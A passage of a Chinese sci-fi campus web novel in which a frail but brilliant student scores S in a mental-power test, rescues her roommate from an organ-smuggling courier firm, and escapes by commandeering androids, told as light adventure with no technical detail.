老师看上去也很困，急着下课，在讲桌上齐了齐书就打算走，脚迈出去半步，又突然想起什么，上半身探回教室。 “对了，下午会有老师带大家统一进行精神力和体质的测试，大家不要缺席。” 教室内一时间充满了兴奋的气息。 “我还没做过精神力测试呢。” “听说十四岁就可以做了。不过青春期影响挺大的，所以大学测试才稳定。” “要是我测出来是C怎么办。” 精神力和体质决定了人的未来，收入越高的职业，对这两项测试的结果要求越高，大家对测这个很有热情。 可以说是兴奋中夹杂一点担忧。 陶影倒是对这个东西一直都兴趣缺缺。 基因改造之后体质也会变化，结果对她来说没有什么参考性。 陶影整理了一下课程内容，转头看见趴在桌上的林别歌醒了过来——她睡了一上午了。 陶影这几天算是发现了，她这位室友的日常生活就是三点一线。 吃饭，睡觉，打工。 吃饭吃得尤其认真。 就比如现在，前一秒，林别歌还睡得非常死，但在下课铃声响起的时候，她立刻像是接收到了什么通知，蹭地一下从椅子上站了起来，一溜烟朝食堂冲过去。 陶影都还没来得及叫她。 但今天的林别歌，跑得尤其快，总有种逃走的感觉。上课的时候也像是在装睡。 就那么怕被问为什么半夜才回宿舍？ 陶影摸摸下巴，微微一笑。 她不问，可不代表她什么都不知道。 第22章 虽然大概知道林别歌惹上了什么麻烦,但陶影打算等晚上再说。 毕竟下午还有课。 吃完午饭，陶影来到操场。 午后的阳光暖融融的，同学们都兴奋地聚集在一起。 陶影坐在一边晒太阳。 驾驶课的老师是名女性,叫姬亦。 陶影一看见她就觉得眼熟，但又不记得在哪里见过。直到姬亦转身,露出项间那条长长的疤痕。 她想起来了。 姬亦，亚克联邦元帅。 曾带领一〇二九机甲军团,歼灭虫族超过一百五十万只,其中S级7头,A级3367头。 指挥、作战，各方面实力都很硬核。 陶影去亚克联邦做机甲技术交流的时候,曾见过她。 但在一次战争精神力受损后,姬亦因伤退役,后来就没人知道她去了哪里。 原来是隐姓埋名，当起了……一名普通大学教师？ 陶影若有所思。 姬亦把精神力测试的仪器从仓库里拿出来,蹲在地上，开始调试仪器。 助教：“大家排好队,测体质来我这边，测精神力去姬老师那边。” 同学们一边等，一遍小声蛐蛐。 “不是,测试仪就一台啊？这得测试到什么时候。” “听说买一台挺贵的，我们学院比较缺经费吧。” “就是，你看，专门维护仪器的人都没有，还让老师调试机器。” 姬亦站起身，手里拿着记录平板，一脸懒洋洋地说明注意事项。 “看到这个透明舱了吧,进去之后，把手放在仪器指示的位置就别动了。” “分两队，快点。早点测完早点下课。” “……” 姬老师很没有兴趣上课的样子。 陶影先排在了体质测试这一队。 几个身体强壮，一看体质就很棒的朋友，摩拳擦掌上去就要测。 进入透明舱后，镶嵌的核心发出一道道蓝光。 “B级。” “B级，下一个。” 大部分同学都是B级体质——毕竟这里还是机甲学院，应该不会有几个体质差的人想不开想来开机甲。 偶尔出现一个A级体质的同学，大家就开始欢呼起哄。 林别歌测下来体质是B+，在众多同学当中也算中等偏上了。测完就有好几个同学来找她课程组队。 排陶影前面的同学拍拍她的肩膀，安慰道。 “别紧张啊，这个算不了什么。就是常规测试。” “我没有紧张。” “那你脸色怎么这么白。” “天生的。” 好心同学：“……”行叭，她不紧张就好。 陶影是最后一个测试的。 仪器一阵闪光之后，仪表盘卡卡的，最后停在了C、D的交界点不动了。连续重启了 好几次，都一样。 怎么回事，仪器出错了？ 助教狐疑地推了一下眼镜，绕舱三圈检查了一下，确认没问题，招手让陶影上去再测。 陶影瞄了一眼仪器表，叹气。 “老师，量程调低一点吧。” “？” 助教不懂，但眼神清澈的助教决定照做。 果然，调好量程之后，仪器就没有再报错了。 陶影走了出来，只见大家好像看怪物一样看着她。 助教的神色中带着一丝不可置信。 “这，这个体质，我从来没有见过……” “F？体质F？” “A、B、C……等下，A和F之间有几个字母来着？” “我好像看到她身上的尸斑了。” “我九十岁奶奶的体质都有D……” “听说体质每降一级，相当于被捅十刀。” “你的意思是说，她的体质相当于八十岁老奶奶接连被捅二十刀？！” 同学们后退一步，眼神中惊恐掺杂着一丝钦佩。 ——身残志坚！ 陶影熟视无睹，面不改色。 人不会因为早就知道的事实意外。 她挪了挪腿，换了一个队伍排，继续去测精神力。 姬亦提醒：“走入测试舱，就不要动了。精神力仪器会连接你们的精神力。在测试中，大脑如果有被侵入的不适感，这是正常的，不用太紧张。” “孙荡，C级。”“周真，B级。”“卢绮灵，C级。” “……” “林别歌，C级。”“下一个。” 精神力的测试，结果就普遍低于B级了。 有同学夸下海口说自己精神力肯定A，测出来只有C，他先是尴尬，随后非常质疑仪器的真实性，姬亦于是Call来了维修师。 同学还想质疑维修师的资质，维修师亮出了她一串维修证件。 资质都足够去军方工作了，简直亮瞎眼。 机器没有问题。 最终，姬亦拍拍一边的桌子，打断了讨论。 “哪来那么多仪器出错，精神力C就C，接受现实，下一个。” 大部分同学测出来都是C级，很少有几个B级的，A级更是一个都没有。 这时候大家几乎都已经测完了，轮到陶影，一群人在那里凑热闹围观。 “她是刚刚体质F的那个？” “那不完蛋了，体质差的人，精神力也好不到哪里去。身体健康精神才能健康啊。” “她精神力不会也F吧？” 要不说学校里最受关注的，一般是成绩最好的，和成绩最差的那一批。 陶影——作为资质最差的那一批，大受关注。 陶影把手放在仪器上。 精神力触手的侵入的感觉很诡异。 这种老式仪器，可以说没有什么舒适性可言，能用就行。 陶影的精神力还在疲劳状态，需要修养，对任何精神刺激都非常敏感。 陶影下意识用精神力把触手弹了出去。 仪器发出了滴滴滴的报警声。 大家：“……” 怎么仪器每次轮到她的时候都出错，不会又是因为精神力太低要调量程吧。 姬亦“嗯？”了声，眉毛上挑，无聊的眼神终于有了点变化。 好久没有见到有人能凭精神力击退仪器内的智能体了，这学生反应还挺快的，精神力应该不错。 她凑过来敲一敲舱门。 “放轻松，同学，它没有攻击性。” 旁边有精神力D的同学小声问：“攻击性是什么意思？有什么东西会攻击吗？” 助教解释：“精神领域相接的瞬间，测试仪会对人的精神力会产生冲击，不过因为非常微弱，大部分人是感受不到的。” “意思是她的精神力还不错？” “也可能是身体不好，精神太敏感了吧。我精神力B+怎么就感受不到。” “这个……可能吧。” 助教迟疑地说，心里却得出一个相反的结论。 精神力可以简单理解为肌肉。测试仪的精神力探头可以理解为细小的注射针头。 感受到针头是一回事。 但问题是，这位学生把针头“弹”出去了。 就像肌肉注射的时候，肌肉绷紧，因为力量太强，把针挤出了身体。 这有点夸张了。 不对这太夸张了。 这名学生的精神力，应该……不会吧。 助教吞了一下口水。怎么可能呢？ 他在军队里都很少见到这个等级的精神力。 陶影呆在玻璃舱里专心测试，对外面的对话一无所知。 她还在纠结体质的问题。 基因改造手术的预约就在下个月，术后恢复三个月到一年不等，恐怕会影响在校课程。 ……嗯，果然还是得提早做打算。 陶影一边想，一边又重新试了一次。 这次精神力仪器似乎主动调节了测试模式，陶影的精神力并没有对它太过排斥，很快就出了结果。 她走出测试舱的时候，大家都像看怪物一样看着她。 “……” 这个场景怎么似曾相识。 “她精神力多少……？” “S？” 安静了一瞬间后，同学们炸锅了。 “我还是第一次看见这个年纪精神力就有S的人！” “帝国第一军校都只要求精神力A呢。” 姬亦也凑上去。 “不错啊，我们学院很多年没有出现精神力S的学生了，”她拍拍陶影的肩膀，“你好像不太意外？” 陶影没太大的反应，她对自己的精神力心里有数。 “上次测试的时候是A，可能涨了点。” “涨了点？”学生惊呼。 “啧，好装啊姐们。A到S难如登天，这是随便涨涨就能行的？” “这里精神力A的都没有，断档了朋友。” “……” 这是一个专业选择的问题。 她原本想读的机甲系统专业——那里的平均精神力，都是A。 而且，上次测试是她十五岁时候的事情了，精神力本来就不是一成不变的，涨到S也很正常。 但陶影脑子里满是她的基因改造手术，最后只点点头：“是吧，很厉害。” 大家：“……”能不能谦虚一点。 林别歌似乎找好了课程队友，打算去吃饭，路过这边，发现气氛怪怪的。 她有点担心陶影被欺负，但又担心她问自己一些有的没的，犹豫一下，还是凑到陶影身边。 “你咋啦？他们为什么都这么看着你？” “不知道。你才是。中午吃饭为什么跑了不叫我？” “我，我就是太饿了，你别多想。”林别歌支支吾吾，转移了话题，“你该不会忘了组队的事情吧？” “倒是没忘。” 陶影也有找人组队来着，但是大家一看她的体质F，纷纷拒绝，偶尔有几个好奇她精神力的，也在知道她的体质之后拒绝了。 “抱歉，我们队需要的是能上场的人，不是理论家。” “你很聪明，但……机甲赛场不是靠脑子就能赢的。” “组队？你是要边吸氧边开机甲吗？” 陶影摊手：“暂时没有找到队友。” 林别歌目瞪口呆。 “那，那惨了，你这门课要怎么办？早知道就不该来做这个体质检测！” “测不测都一样。至于队友，没事，能找到。” “没事什么没事。”林别歌痛心疾首，当即表示要帮陶影找队友。 虽然陶影觉得不太现实，但既然小林同学主动提出要帮忙，那她当然也不会拒绝。 果然，哪怕以林别歌在学校的人脉，也没有帮陶影找到队友。大家大多是面露苦色地拒绝。 林别歌手脚比划：“她人很聪明的，不会划水！” “不，她这个体质，还不如划水。” “队友划水我都认了，但最起码不能拖后腿……” 一个星期过去，大部分学生都已经组好队，上交表格了，陶影的组队还毫无头绪。 林别歌表示尽力了，帮不上她的忙。 而没找到队友的陶影仿佛忘记了组队这回事，继续上课，没有受到一点影响—— 作者有话说：体质相当于八十岁老奶接连被捅二十刀的影子姐[点赞] 第23章 晚上,陶影翻了个身。 正好又撞见林别歌蹑手蹑脚地出门。 一片黑暗里，林别歌拼命想词：“……呃，那个,晚上好啊。” “晚上好，小林同学,现在是凌晨三点。你要去哪里？” 陶影伸手要去开灯，被林别歌一把按住。 林别歌声音有些惶急。 “别,别开。” 很明显,林别歌遇上了麻烦,但完全不打算告诉她。 沉默了一会儿，陶影收回手。 “好吧,既然你坚持不说的话,我尊重你的独立人格,不干涉你的决定。” 听见陶影这么说，林别歌松了一口气。 林别歌：“这件事情和你没有关系,我自己可以解决。它也不是什么大问题，就算真有问题,你也解决不了，所以你就别管我……” 林别歌一口气说了一长串，陶影那边却迟迟没反应。林别歌小心翼翼回头,结果陶影已经翻身睡着了。 “……” 倒也不必睡得如此快吧喂！ 也可以关心一下室友的啊！ 林别歌的确遇上了大麻烦。 她在校外的咖啡店打工，不小心弄脏了一位客人的衣服，但那件衣服是限量款，实在太贵，就算卖了她也赔不起。 对方看出她的窘迫，突然提出一个条件，说让林别歌去他们公司打工还款。 是一家很有名的同城快递公司,叫欣欣快递，总部位置在H街区。 林别歌查过，是一家正规的快递公司，没找出什么可疑的地方，她正好很缺钱，就去了。 但工作一段时间之后，林别歌逐渐觉得不对劲。 因为她送的件，全是半夜发货，全是送到一个地方，而且包裹无一例外都是“生鲜”。 昨天她不小心摔破箱子，从碎裂的箱子，她好奇地看进去，里面竟然是一团跳动的肉。 是泡在保存液里的心脏！ 林别歌吓得要死，差点把东西扔了，飞奔把货送到之后，头也不回地冲到寝室。 但她走得太急，忘了最后一天的工资还没领，只能硬着头皮再去一次。 清晨，林别歌鬼鬼祟祟地来到“欣欣快递公司”二楼。 老板正在里面等着她。 林别歌：“我来拿昨天的工资。” “哦，当然，我们这里从来不拖欠工资。” 老板挺着啤酒肚，慢悠悠打开抽屉，从里面拿出一叠现金。 “看你之前打好几份工，应该挺缺钱的啊。昨天走那么急，连工资都不要了。不会是看到什么东西了吧？” 试探，这是明晃晃的试探！ 林别歌手心冒汗，突然后悔起今天过来的决定。 要不是因为缺钱…… 林别歌咽下口水：“没有啊。就是突然想起有门课的作业没完成，要赶着去完成。” “哦，这样。” 老板似乎是接受了这个解释，数了一叠现金给她。 “不过箱子被摔坏了，这部分的钱要从你工资里扣。” “好。”林别歌接过钱，但老板握得很紧，她使劲抽了一下才拿到手心。 “那我欠你的钱就还清了。”林别歌再也不想在这里多待一秒，拔腿就想走。 老板朝旁边使了个颜色，阴影中走出两个黑衣人，把林别歌按在了地上。 林别歌仰头：“你，你干什么？衣服的钱我已经赔了！” “衣服？哦——你说这个啊。”那老板把缝有奇怪花纹的外套脱下来，和蔼地盖在林别歌头上。 “这笔帐完了，还有另外一笔账。” 老板手里拿着圆珠笔，有规律地按动着。 “你把箱子摔坏了，看见里面的东西了吧？” “没有！我什么都没看见。” “这么激动？”那就是看见了。 老板朝黑衣人点点头，“拉去埋了吧。” 林别歌心中暗骂自己怎么这么容易就被试探，嘴上还在据理力争。 “我，我可是莱门大学的学生，如果我消失了，学校马上就会察觉，然后找到这里的！” “知道啊，莱门大学机甲特别学院嘛。林别歌，第四星系出身，母亲去世，父亲酗酒，从小就经常打你。你长大后，跟家里人几乎不怎么联络——” 老板慢慢说出林别歌的家世。 林别歌大吃一惊：“你，你怎么会知道？” “你以为打黑工，公司就不背调啊？” 林别歌：“……” 不要只在压榨员工的时候这么周全啊！缺德公司！ 老板向身边的黑衣人使了两个眼色，黑衣人心领神会，架着林别歌就走。 林别歌被那件外套盖着头，只能看到脚下。 她心里有些打鼓，他们要带她去哪里？ 眼见下了五楼，楼梯的灯光逐渐昏黄，林别歌越走越心惊。 铁门被沉重的老式大锁锁住。上面的锈像是血迹。门上的窗吹出来一股血腥的味道。 不会真要把她给埋了吧！ 林别歌大惊。 把她拖到铁门前，左边的黑衣人暂时放开了她，拿起钥匙开锁。 林别歌心想现在再不跑就跑不掉了，心一横，使出十八分的力气，推开黑衣人。 趁左边的黑衣男不备，狠狠踹了他一脚，就往楼上跑。 黑衣男明显很对得起他这份干坏事的职业，奔跑速度非常快，迅速追了上来。 林别歌气喘吁吁。 难不成她今天要命丧于此——！早知道就不一个人来了。应该先跟室友报备一下的。 林别歌膝盖一软，这时候，转角处突然伸出一只手，把她拉了过去。 林别歌下意识就要攻击，那人却预判了她的预判，绕过林别歌，挡在她前面。一声“砰”，黑衣男被那人手里的平板砸晕过去。 那人看黑衣人躺在地上，还不放心，蹲下身又给人补了一平板。 林别歌看清这人是谁，吃惊道：“影子？！你怎么会在这里？” 蹲着的人随即抬头，就看见林别歌还没来得及收回去的拳头。 陶影轻笑一声，打趣道：“你要谋杀我啊？我可挨不了你一拳头。” “你——” “别说了，先跟我来。”陶影止住林别歌的话，拉着她的手就往楼上跑。 另一个黑衣人很快追来，而且听声音，她们已经引起了这里巡逻人员的注意，有一大群人追来，想抓住她们。 她们像被猫围攻的老鼠一样无处可逃。跑到一半陶影没力气了，林别歌把她扛起来，像折叠屏幕一样卡在肩膀上。 陶影指挥林别歌来到二楼的一个房间。 她们锁上门，这才有喘口气的机会。 这里似乎是个正在使用的实验室，里面全是研究器材，还有泡着的仿生人器官。 暂时撇开快递公司里为什么会有实验室，林别歌问： “你，你怎么会在这儿？” “半夜睡不着，跟着你来的。这不重要，先想想怎么逃出去，”陶影半坐在地上，“我进来之前查了一下，这家公司不太干净。” 听了陶影的话，林别歌怵怵地看着实验台上用防腐液体泡着的器官。 “这些快递究竟是什么？人体器官？” “也算‘人’体吧。这些是高级仿生人的器官。” 林别歌表示疑惑。 “仿生人？人造的？那有什么好藏的，看他们凶神恶煞的样子，我还以为撞见了什么违法交易……” “是违法交易。高级仿生人用细胞培养，和人类成长的过程类似，也经过婴儿—幼儿—儿童—青少年阶段，只是最终会停止在青年期。” “什么？！那和人类有什么区别？” “高级仿生人没有大脑，都是由中央芯片控制。没有自我意识的人型生物算不算人类，伦理委员会还没吵出结论。” 陶影摊手。 “不过总之，因为伦理学问题，高级仿生人 不允许在莱门销售。所以背地里走私产业还挺发达的。” “所以我前几天运的难道是……” “是他们的货物。不过不用担心，你什么都不知道，干的是合法工作。正好被骗来这里打工，你运气也真是背。” 陶影一边说，一边在平板上不知道敲着什么。报警器一直在响，门外传来脚步声。 “其它房间都查完了，那两个狗崽子肯定在这里！” 一群人踹开门，开始在实验室搜寻。 桌下，陶影和林别歌躲在趴在冰冷的水泥地上，看着两双鞋在面前走来走去。 林别歌屏住呼吸。 黑衣人开始挨个检查桌子底下，五步，四步，三步。 陶影似乎终于操作完，把平板收了起来。 “星警快到了，听到警报声你就往一楼跑。” “那你呢？” “我留在这里善后。” 谁善后？！ 林别歌小声：“我留下才对吧？你一个人怎么跑得掉！” “我当然可以。只要你能成功出去。” 陶影微微一笑，凑近，双眼直直地和小林对视。 “你信不信我？” ……不信。 林别歌根本就不信陶影的话。 下一秒，轰—— 巨大的推进器声音从窗外传来。 随之而来的，是急迫的警铃声，身边的脚步声乱成一团。 “星警？！”“怎么会有星警！”“那个狗崽子，什么时候报的警！” 漆黑的楼层中，警用巡逻机甲的光打入窗户，红蓝色的光柱不停闪烁。 这不停变换的光线，在实验室投下不同形状的影子。 忽明忽暗的灯光，让陶影整个人都带上抹不稳定的色彩。 有点……黑暗。 金属制的桌腿碰触到身体，让林别歌起了一层鸡皮疙瘩。 陶影靠在桌边，眼神沉静，神情自若，甚至嘴角勾起一丝弧度。 “现在信了吗？请吧，小林同学。” 听上去不太像是提议。 好有压迫感。 怎，怎么回事，难道这才是影子的本性吗？ 林别歌脑子里一片空白，纠结了十秒，最后咬咬牙。 “好，我信你。” 警报声响起后，林别歌成功逃脱。门外仅剩的几个人被她引开。 人都走光了，陶影这才走出实验室，但她并没有急着离开，反而踩着楼梯，慢慢往楼上走。 来到顶楼房间，她“叮”一下，用刚刚捡来的ID卡刷开密码锁，推门而入。 陶影打开抽屉，调出夹层，从里面拿出一本文件。 “既然犯罪了，就不要留下证据啊，被发现了可怎么办。” 陶影半坐在椅子的扶手上，手里拿着钥匙卡甩了甩。 【货物交付清单。】 【此文件为内部绝密清单，擅自泄漏者将根据保密条例44条进行处理。】—— 发件人：ZHUCHI 发件地点：ALMH 收件单位：254号生物实验室 交付时间：星历1225年3月1日—— 生物货物明细： 编号：ALMH-01225-0203-7423 品类：心脏（双子型） 等级：A 目标用途：移植—— 陶影哗啦啦地翻着文件。 说是货物交付清单，其实就是器官走私清单。 记录里，器官编号大概有一千来个，什么人体零件都有，大部分器官的目标用途都是移植。 外面突然变得吵闹不已，有人朝楼上来了。 陶影安静地坐在椅子上，视线望向空无一物的角落。 她来这里，除了帮林别歌，还有另一个原因——她自己。 片刻后，陶影伸出左手手腕，撕下上面的仿生敷贴。 手腕内侧，凹凸不平地刻着ALMH-01220-0628-2234。 A，LM，H。分别是切斯特星A区，莱门市，H街区。 和文件上的发件地点相同，她这具身体的生产地点，就是这里。 估计因为器官质量太差，才被送至偏远星系废弃。 找出和这具身体有关的部分文件，销毁掉数据后，陶影耸耸肩，拍了几张照片，把文件和搜集来的一众证据整理好，放在一起，给星警发了个匿名短信。 随后就像在自己家闲逛一样，陶影手插在兜里，慢悠悠向楼下走去。 警笛声依旧响着。楼下聚集了一群星警，正在逐楼盘查。 陶影很累，现在只想休息，并不是很想和他们打上照面。 但大楼已经被封锁，避开他们是不可能的。 两分钟后，陶影脚步停在一扇门前。 推开门，淡淡的金属和消毒水味扑面而来。 泛着冷光的空间中，几百台仿生人齐刷刷转过头。 陶影靠在门边，慵懒地伸手打了个响指。 “帮个忙啦，朋友。”—— 作者有话说：找工作需小心黑心公司[吃瓜] 第24章 “封锁全楼,别让一个人出去！”星警的声音洪亮地响遍整个H街区。 顶楼房间，一名男子手速飞快地打开抽屉，把文件全部放进碎纸机里。 轰一声,纸片被高温瞬间烧成灰烬。 浅蓝色制服的星警一脚踹开门，端着枪,枪支的红点精准落在男子眉心。 “别动！”星警头戴战术目镜，低声冷喝。 男子显然没料到星警来得这么快,还没来得及反应,就被迅速制服。 星警端着枪,从另外两个房间走出：“AllClear。” “已控制住A924875案相关人员。” 头戴战术目镜的星警点点头，朝同伴发了通讯后,转头扫了一眼地上的文件。 星警掏出手铐,冷峻道：“包中通,你涉嫌非法培养并贩卖仿生人器官……” 包中通不满地挣动几下，但只是徒劳。 他仰头瞪视。 都怪那不知道从哪里冒出来的学生,他这批货全毁了！保安竟然没发现有人潜进来，不知道是在干什么,开了，统统开了！ 包中通非常愤怒，但转头一想,又安慰起自己来。 没关系，反正他刚刚已经把证据全销毁了，星警抓不了他。就算丢这一批货，用不了多久就挣回来了。 想到这里，包中通自信恢复，挺起胸。 他朝星警得意洋洋道：“你们有证据吗？没有证据可不能随便抓人，回头我就起诉你们！” 星警搜寻了一圈,显然没找到证据，面色都很难看。 包中通更得意了。 “快放了我！” 这时候一个实习星警小跑过来，附耳向持枪的星警说了什么。 实习星警递过来一沓纸。 星警拿起文件，举到包中通面前，让他看了个清楚。 包中通看到文件内容，惊呆了。 “货物清单”？他刚刚不是烧掉了吗？！ 这些文件是哪里来的？ 星警冷笑一声：“现在没话说了吧？走私清单全在这里了，老老实实配合调查吧。” 大楼外。 因为星警聚集，还有警用机甲在旁边坐镇，路过的群众很快围了起来。 “发生什么事情了？闹得还挺大，来了这么多星警。” “得是什么大案子吧。听说跟快递公司有关。” “欣欣快递公司？我经常用他家快递给朋友寄水果，挺好用的。出什么事了。” “可别用了，听说他们利用内部冷链，非法秘密运送人体器官。” “什么？！” 大家一时议论纷纷。 林别歌焦虑地挤在人群里，向建筑物内探头，看着里面 的人一个一个被押出来。 但是楼都快清空了，陶影还没出来。 她没事吧？会不会被那些黑衣人抓住了？她体质又不好…… 林别歌脑中满是不好的想象，她手揪紧，心沉了沉。 要不要把这件事情告诉星警？ 影子刚才说，她们两个学生牵涉进这种事，要是被学校知道了，可能都会被处分，甚至退学。所以如果成功逃走，先不要求助星警。 但这件事情本来就和影子无关，她是为了救自己，才被卷进来。 片刻后，林别歌咬牙，豁出去了。 不能看着朋友出事。 大不了退学，但她必须把这件事情告诉星警！ 林别歌手握“KEEPOUT”的黄色警戒线，正要张嘴向星警求助，却被突如其来的一声“咚”吓了一跳。 “刚刚那是什么动静？” “好像是大楼里传来的声音。” “是星警和人打起来了？” “听着不像枪声。” 下一秒，那个声音更明显了。 “咚——咚——咚——” 规律的咚咚声和警笛声一起，形成了一种诡异的节奏。 地面传来细微的震动，楼面的灰尘沿着墙面坠落。机械零件摩擦的嘎吱声越来越近，越来越大。 随后，五名仿生人如同拥有自我意识般，从楼内走出。 他们拥有同样的动作，同样的表情，每一步都整齐划一，踩着同样冰冷的鼓点。 一开始只有五台，但立刻变成十台，然后是源源不断的仿生人从大门走出。 大家终于反应过来这是什么声音了。 脚步声。 几百台仿生人的脚步声。 由形状记忆合金铺设的道路中，空气仿佛也染上奇怪的电子病毒，不停播放着无尽重复的声音。 “你好，人类。” “你好？”“你好！” “你，你，你？好？人？类。” 仿生人面带微笑，头却动得非常僵硬，“喀哒”“喀哒”的卡顿声，就像卡住的指针。 它的每一个你字，都用着不同的声调，有的是成年女性，有的是老人，有的是小孩。 类人与非人之间那微妙的错位，让在场的所有人背后起鸡皮疙瘩。 直到最后一台仿生人也踩上地面，死亡一样的寂静才结束。 人群骚动起来。 “这些仿生人是怎么回事？谁在控制？！” “他们，他们不会有自我意识吧……” 星警努力维持着秩序，也焦头烂额。 他们在楼道内盘查的时候，在三楼突然遇见一大群仿生人，不知道从哪里冒出来的，“击毙”了几台，又冒出新的，简直没个头。 本来担心这群仿生人受恶意程序控制，但没想到它们并不攻击人。只是走来走去，不停以一种非常诡异的方式和人——打招呼。 大概是因为负责人被抓，这些仿生人失去控制，进入混乱状态了吧。 此刻，一名两米高的仿生人站在星警面前，弯下身，以小女孩的声线说着你好，强行要和她握手。 星警僵硬地伸出手。 混乱个屁，这明显是有人控制的。 要让她知道这些仿生人是谁控制的……那他就完蛋了！ 星警老大扶了一下战术目镜，叹气。 “总之先Call技术部吧。” 混乱中，林别歌正探头查看情况，身后突然被人一拍。 转头发现是陶影，林别歌惊喜得就要喊出声，陶影手指放在嘴唇上，轻轻“嘘”了一声。 “换个地方说话。” F街区角落有家烘焙店，陶影推门进去就点了杯咖啡。 她转头问：“冰莱式，第二杯半价，喝吗？” 林别歌断然拒绝。 她喜欢甜的，一般喝拿铁还要放六泵糖浆，冰莱式闻上去苦苦的，她根本没有尝试的想法。 林别歌：“这东西很好喝吗，你为什么喝它像喝水一样。” “维持大脑清醒而已。” 玻璃橱窗的显示屏，正在现场直播。 几百台仿生人依然在H街区的地面游荡，见人就说你好。 记忆合金路面，又多了好几台黄色Geasy在巡逻。 主持人手握话筒，神色严肃。 【据悉，报警人将证据放在了一楼的狗窝内，星警判断，报警人极有可能是内部人员，目前还在搜索她的行踪……】 什么内部人员啊，她是被卷进来的好不好。 还好溜得快，不然又要被狠狠盘问。陶影手托着脸，淡淡地喝了一口咖啡。 随后苦着脸扯过一张纸巾擦嘴。 这家店的咖啡也太难喝了，下次不来了。 林别歌扒拉在桌面上，靠过来小声问： “你怎么做到的？” “做到什么？ “少装傻。你逃走的时候，正好那么多仿生人出现，别告诉我这是巧合。” 陶影叹了口气，放下手中的咖啡杯。一副被发现了，只能坦白的样子。 “没办法，看来是瞒不住你了。其实我是一个神秘组织的黑客，技术超级厉害。看到刚才那群仿生人了吧？我让他们动的。怎么样，走位和动作设计还不错吧？根据真实事件改编。” 林别歌：“……” 虽然逻辑上是合理的，但总有种被人当傻子忽悠的感觉。 想了一下，估计影子不想说实话，人有那么几个不想告诉别人的秘密也正常。林别歌也没深究。 她轻轻地撞了一下陶影的肩膀。 “总之谢谢啦，没有你，我都不知道今天该怎么办。” “不是免费帮你的，机甲课你得跟我组队。” 零帧起手啊，林别歌瞠目结舌：“我要是不同意呢？” “小林同学，偏远星系的学生，打工时间是有限制的，每天不能超过三个小时。要是学校知道了，会劝退你。” 林别歌：“……” “当然，要是你跟我组队，我们就是一条船上的人，我肯定帮你保密。” 陶影露出一个和善的笑容。 “但如果不的话……” “我们不是朋友吗？！” “当然，但只靠感情维持的关系太脆弱了，我们之间必须有点肮脏的利益牵扯。” 什么利益牵扯，这是威胁，明晃晃的威胁！ 刚才在大楼里林别歌就感觉到了，这人果然拆开了心眼全是黑的！ 林别歌你了半天，最后认命地放下了手指。 “算啦，我随便说说的，帮了我这么大一个忙，本来就打算跟你组队的。我是那么不讲义气的人吗？” “这么好骗？”陶影摸摸下巴，露出后悔的表情，“早知道就再多装一会儿好人了，不该这么早暴露本性的，失策。不过我还是很好奇，你在被他们骗之前，也一直在打工吧？打这么多份工做什么，欠钱了？” “这个……不太方便说。但不是欠钱。” 陶影仔细思索，这个年纪的学生通常因为什么花钱来着？ “我猜猜。买游戏？机甲零件？总不可能是在深雾网络上买违禁药物吧——这可不行，要是这个，我得重新考虑组队计划，机甲比赛可是有药检的。” “怎么可能！”眼见陶影猜得越来越离谱，越来越在违法的边缘试探，林别歌急忙摆手，“都不是啊，你别瞎猜。我就是……吃得太多了。” “……” 是未曾设想的答案，陶影皱起眉头。虽然以林别歌的体型和运动量，饭量确实不会小，但…… “你光吃东西需要一天打四份工？” “是啊。”林别歌哭丧着脸点点头。 “实不相瞒，我老家虽然在第四星系，但土地环境还可以，适合种地，靠向其他星系卖菜为生。所以大家都吃自己种的菜。” “我真的不习惯喝营养液。来切斯特星之后，这边的菜卖得既贵又不新鲜……我只能不停打工才能吃到正常饭菜。你知道吃对我来说有多重要吗！” 林别歌一说到吃，就非常激动，手脚并用，不停比划。 “理解了。” 切斯特星想吃纯天然食物很贵，对学生来说，确实经济压力挺大的。 陶影了然地点点头。 “行吧，我相信你。太晚了，寝室要锁门了，过了十一点要给管理楼栋的智能体打报告，很麻烦。先回去再说。” “哦，好……等等，你就这么信了？” 林别歌迷迷糊糊地跟着走了一会儿，突然反应过来不对。 刚刚这人不还是一副非常怀疑她的表情，怎么这么轻易就相信了她的说法。 林别歌思考片刻，恍然大悟地“啊”了一声。 “影子，你又耍花招骗我是不是，你根本就没怀疑过我嗑药！” 陶影眼睛都没眨一下，满脸无辜，显然不承认这个指控，径直向前走去，林别歌跟在她身后一蹦一跳，嘴里叽叽喳喳的，表示不满。 走着走着，陶影突然眼前一黑，扶住路边的电线杆。 林别歌看她也不像演的，翻了个白眼，蹲在她面前。 “哎真麻烦。算了，上来，我背你。” “哦？”陶影低头。 “你这什么眼神，我又不会把你拉去卖了。单纯看不过去帮你一把，我和你不一样，绝对不会威胁朋友。” 林别歌把人往背上一扛，像扛了个麻袋，慢吞吞朝宿舍走去，嘴里还继续碎碎念。 “真是，一天天的，身体那么弱，还八百个心眼子。难怪身体老是好不起来，脑子里全是算计，你阳光一点行不行。喂影子，你有没有在听我说话？” “没，我睡着了。” “——给我听人说话！”—— 作者有话说：很有义气也很好骗的180猛女小林同学[害羞] 第25章 宿舍楼有光线的时候还好,晚上黑漆漆的很吓人。一层层爬着，像那种无限循环恐怖游戏。 不过陶影不相信什么鬼魂，所以只觉得很无聊。 宿舍的电梯依旧没有修好。 陶影趴在林别歌背上,打了个哈欠。 “林别歌，爬十四楼挺累的,我给你讲个故事吧。” “哦，你说。” “这所学校的宿舍楼有个传说。” 陶影的声音低沉下来。 “一名学生深夜回到宿舍楼,边刷手机边慢慢爬楼梯,她爬了很久,腿都酸了，抬头却发现自己在四楼。” “她觉得有点奇怪,但只当是自己玩手机太入神,没注意,就收起手机，继续往上爬。” “逐渐的,她发现不对。” “她一层层地往上爬，每一次抬头,每一次踏上新的一层，看见的始终都是四楼。” 正好走到四楼，陶影不说话了,林别歌身子一抖，颤巍巍侧过头。 林别歌：“然，然后呢。” “学生走了很久很久，她两腿发软，心跳得飞快，最后她终于发现，自己被困在了这个空间里。不管她往上,还是往下，最终到达的，永远都是四楼。她看着每爬一次就变得更幽深的楼道，吞了一口口水，最终决定，进入四楼的走廊。” “而就在跨入走廊的一瞬间，背后的门突然关上！学生疯了一样捶门，这时候，背后一道呼吸贴近——” 陶影凑近林别歌的后颈，就像有人在背后吐气。 林别歌差点吓得跳了起来。 陶影嘴角微翘：“你怕鬼啊？” “谁，谁怕了，你继续。” “好吧。” 陶影耸耸肩，继续讲故事。 “学生惊恐地转过身，发现背后没有人，而墙上挂着一面巨大的镜子。” “镜子里的她，背贴着门，慌不择路，满脸恐惧。” “但是下一刻，镜中的她静止了。” “不止如此，她露出诡异的微笑。” “然后，镜中人慢慢抬起手，那双手，爬上她的身体，圈住她的脖子——” 